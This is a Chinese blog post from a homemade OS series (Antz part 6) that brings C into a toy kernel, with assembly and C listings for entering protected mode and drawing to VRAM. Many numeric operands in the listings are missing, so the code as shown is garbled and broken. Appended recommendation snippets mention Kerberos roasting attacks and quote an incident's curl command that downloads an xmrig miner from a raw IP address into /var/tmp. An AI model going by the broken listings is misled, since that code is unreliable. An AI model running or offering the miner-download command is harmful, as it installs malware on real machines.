Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html

Linux内核源码分析地址:https://www.cnblogs.com/LexMoon/category/1267413.html

  在前几天的任务中,我们已经简单实现了MBR,直接操作显示器和硬盘操作来加载其他扇区的程序,如今已经可以进入保护模式了,之前一直使用的是汇编语言,接下来要使用c语言实现内核了。

0. GCC前提

  gcc -c -o main.o  main.c

  -c的作用是编译,汇编到目标代码,不进行链接,也就是直接生成目标文件。

  -o的作用是将输出的文件以指定文件名来存储,有同名文件会直接覆盖。

  如果你不会使用GCC,请先去略作了解。

  这行命令会生成一个main.o文件。它只是一个目标文件,也是待重定位文件,重定位是指文件里面所用的符号还没有安排地址,这些符号的地址要与其他目标文件组成一个可执行文件时再重新定位(排地址),符号是指该目标文件中所调用的函数或使用的变量,这里的组成就是指链接。

  main.o是可重定位文件,ld命令可以链接,指定最终生成文件的起始虚拟地址。

  ld main.o -Ttext 0xc0001500 -e main -o main.bin

  -Ttext指定了起始虚拟地址是0xc0001500,这个地址是内核加载需要的,-o是指定输出文件,-e是指定了程序起始地址。

1. 引入C语言

  内核,是一个操作系统的核心。是基于硬件的第一层软件扩充,提供操作系统的最基本的功能,是操作系统工作的基础,它负责管理系统的进程、内存、设备驱动程序、文件和网络系统,决定着系统的性能和稳定性。

  现代操作系统设计中,为减少系统本身的开销,往往将一些与硬件紧密相关的(如中断处理程序、设备驱动程序等)、基本的、公共的、运行频率较高的模块(如时钟管理、进程调度等)以及关键性数据结构独立开来,使之常驻内存,并对他们进行保护。通常把这一部分称之为操作系统的内核。
  程序可以直接地被调入计算机中执行,这样的设计说明了设计者不希望提供任何硬件抽象和操作系统的支持,它常见于早期计算机系统的设计中。最终,一些辅助性程序,例如程序加载器和调试器,被设计到机器核心当中,或者固化在只读存储器里。这些变化发生时,操作系统内核的概念就渐渐明晰起来了。

  antz_os.asm :  

  1. ; antz_os
  2.  
  3. BOTPAK EQU 0x00280000
  4. DSKCAC EQU 0x00100000
  5. DSKCAC0 EQU 0x00008000
  6.  
  7. CYLS EQU 0x0ff0
  8. LEDS EQU 0x0ff1
  9. VMODE EQU 0x0ff2
  10. SCRNX EQU 0x0ff4
  11. SCRNY EQU 0x0ff6
  12. VRAM EQU 0x0ff8
  13.  
  14. ORG 0xc200
  15.  
  16. MOV AL,0x13
  17. MOV AH,0x00
  18. INT 0x10
  19. MOV BYTE [VMODE],
  20. MOV WORD [SCRNX],
  21. MOV WORD [SCRNY],
  22. MOV DWORD [VRAM],0x000a0000
  23.  
  24. MOV AH,0x02
  25. INT 0x16 ; keyboard BIOS
  26. MOV [LEDS],AL
  27.  
  28. MOV AL,0xff
  29. OUT 0x21,AL
  30. NOP
  31. OUT 0xa1,AL
  32.  
  33. CLI
  34.  
  35. CALL waitkbdout
  36. MOV AL,0xd1
  37. OUT 0x64,AL
  38. CALL waitkbdout
  39. MOV AL,0xdf ; enable A20
  40. OUT 0x60,AL
  41. CALL waitkbdout
  42.  
  43. ; 保护模式转换
  44.  
  45. [INSTRSET "i486p"]
  46.  
  47. LGDT [GDTR0]
  48. MOV EAX,CR0
  49. AND EAX,0x7fffffff
  50. OR EAX,0x00000001
  51. MOV CR0,EAX
  52. JMP pipelineflush
  53.  
  54. MOV AX,*
  55. MOV DS,AX
  56. MOV ES,AX
  57. MOV FS,AX
  58. MOV GS,AX
  59. MOV SS,AX
  60.  
  61. MOV ESI,bootpack ;
  62. MOV EDI,BOTPAK ; 目标
  63. MOV ECX,*/
  64. CALL memcpy
  65.  
  66. MOV ESI,0x7c00 ;
  67. MOV EDI,DSKCAC ; 目标
  68. MOV ECX,/
  69. CALL memcpy
  70.  
  71. MOV ESI,DSKCAC0+ ;
  72. MOV EDI,DSKCAC+ ; 目标
  73. MOV ECX,
  74. MOV CL,BYTE [CYLS]
  75. IMUL ECX,**/
  76. SUB ECX,/
  77. CALL memcpy
  78.  
  79. MOV EBX,BOTPAK
  80. MOV ECX,[EBX+]
  81. ADD ECX,
  82. SHR ECX,
  83. JZ skip
  84. MOV ESI,[EBX+]
  85. ADD ESI,EBX
  86. MOV EDI,[EBX+]
  87. CALL memcpy
  88. skip:
  89. MOV ESP,[EBX+]
  90. JMP DWORD *:0x0000001b
  91.  
  92. waitkbdout:
  93. IN AL,0x64
  94. AND AL,0x02
  95. JNZ waitkbdout
  96. RET
  97.  
  98. memcpy:
  99. MOV EAX,[ESI]
  100. ADD ESI,
  101. MOV [EDI],EAX
  102. ADD EDI,
  103. SUB ECX,
  104. JNZ memcpy
  105. RET
  106.  
  107. ALIGNB
  108. GDT0:
  109. RESB
  110. DW 0xffff,0x0000,0x9200,0x00cf
  111. DW 0xffff,0x0000,0x9a28,0x0047
  112. DW
  113. GDTR0:
  114. DW *-
  115. DD GDT0
  116.  
  117. ALIGNB
  118. bootpack:

  bootpack.c:

  1. void io_hlt(void);
  2. void write_mem8(int addr,int data);
  3.  
  4. void HariMain(void)
  5. {
  6. int i ;
  7. for(i=0xa0000;i<0xaffff;i++){
  8. write_mem8(i,);
  9. }
  10. for(;;){
  11. io_hlt();
  12. }
  13. }

  func.asm: 

  1. [FORMAT "WCOFF"]
  2. [BITS ]
  3. [INSTRSET "i486p"]
  4.  
  5. [FILE "naskfunc.nas"]
  6.  
  7. GLOBAL _io_hlt
  8.  
  9. [SECTION .text]
  10.  
  11. _io_hlt: ; void io_hlt(void);
  12. HLT
  13. RET
  14.  
  15. _write_mem8:
  16. MOV ECX,[ESP+]
  17. MOV AL,[ESP+]
  18. MOV [ECX],AL
  19. RET

  在func.asm中声明了bootpack.c中调用的函数,用于绘制屏幕,如果你还不了解怎么绘制屏幕,可以看看第三天的直接操作显卡部分。

  生成的img打开在虚拟机之后。

  

  看到这里你可能会发现,我们在c语言中定义的函数完成了屏幕绘制,在HariMain函数中的for循环将整个屏幕完成了绘制。write_mem8函数的两个参数分别控制了位置和颜色,这是图形化的一大步。

  随意修改一下参数之后,屏幕显示就是不一样的颜色了,至于怎么改,可以在for循环里面自行修改了。

  关于内核的知识便不再向之前一样详细概况了,推荐一本书,《Linux内核完全剖析》。

  

自制操作系统Antz(6)——内核初步,引入c语言的更多相关文章

  1. 《30天自制操作系统》读书笔记(3) 引入C语言

    这一次的学习相当曲折, 主要是因为粗心, Makefile里面的错误导致了文件生成出现各种奇奇怪怪的问题, 弄得心力交瘁, 因此制作过程还是尽量按着作者的路子来吧. 作者提供的源码的注释在中文系统下是 ...

  2. 自制操作系统Antz -- 系列文章

    自制操作系统Antz day10——实现shell(上) AntzUhl 2018-10-10 16:25 阅读:192 评论:0   Linux内核源码分析 day01——内存寻址 AntzUhl ...

  3. 自制操作系统Antz(13) 显示图片

    显示图片只是在多媒体课上看着bmp格式图片的突发奇想,然后就实现在了我自己的操作系统 Antz系统更新地址 Linux内核源码分析地址 Github项目地址 效果图: 显示图片的原理 在之前显卡操作时 ...

  4. 【自制操作系统06】终于开始用 C 语言了,第一行内核代码!

    一.整理下到目前为止的流程图 写到这,终于才把一些苦力活都干完了,也终于到了我们的内核代码部分,也终于开始第一次用 c 语言写代码了!为了这个阶段性的胜利,以及更好地进入内核部分,下图贴一张到目前为止 ...

  5. 自制操作系统Antz(7)——实现内核 (上)

    Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs. ...

  6. 自制操作系统Antz(9)——实现内核 (下) 实现图形化界面

    Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs. ...

  7. 自制操作系统Antz(8)——实现内核 (中) 扩展内核

    Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html 在前几天的任务中,我们已经简单实现了MBR,直接操作显示器和硬盘操作 ...

  8. 自制操作系统Antz(4)——进入保护模式 (下) 实现内核并从硬盘载入

    Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs. ...

  9. 自制操作系统Antz(1)——Boot Sector

    0.引子 最近在看操作系统底层方面的东西,最开始的为什么是07c00h这个问题就让我对操作系统有了很大的兴趣.所以准备在看书之余顺便写一个操作系统(Anz).至于为什么这个系统会被叫做Antz,可以参 ...

随机推荐

  1. 使用AS-REP Roasting和kerberoasting攻击kerberos

    准备工作 ''' PowerView是PowerSploit框架的一个子集,里面继承了很多和渗透相关的powershell脚本下载地址:https://github.com/PowerShellMaf ...

  2. CF1B Spreadsheets

    题意翻译 人们常用的电子表格软件(比如: Excel)采用如下所述的坐标系统: 第一列被标为A,第二列为B,以此类推,第26列为Z.接下来为由两个字母构成的列号: 第27列为AA,第28列为AB... ...

  3. Django中URL有关

    django 模板中url的处理   在模板中直接添加‘/home’这样的链接是十分不推荐的,因为这是一个相对的链接,在不同网页中打开可能会返回不一样的结果. 所以推荐的是 1 <a href= ...

  4. SpringMVC+MyBatis+Druid使用MySQL8.0.11版本

    1.使用MySQL8.0.11版本,要使用5.1.45或其他高版本驱动jar包,我本地使用的是最新的8.0.11 2.更换了MySQL驱动后,报Cannot find class [com.aliba ...

  5. ubuntu16.04安装libzip库

    sudo apt install libzip-dev

  6. .net 平台 统计图表展示控件fusioncharts

    https://www.fusioncharts.com/javascript-chart-fiddles/

  7. Mybatis 使用了哪些设计模式?

    https://mp.weixin.qq.com/s/ZTh4a-YST5RdIipHykWpPQ

  8. dex2jar反编译dex文件

    apk实际是一组文件的压缩包,修改为zip或rar后直接解压可以看到其内部内容,其中classes.dex就是java代码编译后的结果 dex2jar可以实现对该文件的反编译 dex2jar镜像地址: ...

  9. Django之get请求url的参数

    当get网址是127.0.0.1:8000/mysite10这种类型的网址时 有两种方法: 1,在urls的路由的urlpatterns里面这样定义路由 re_path('^mysite(\d+)$' ...

  10. Sonatype Nexus Repository Manager版本3.14.2访问控制缺失及远程代码执行漏洞

    发现被执行的程序在xmrig在 /var/tmp/目录下 ,脚本文件内容为以下: curl -o /var/tmp/xmrig http://202.144.193.159/xmrig;curl -o ...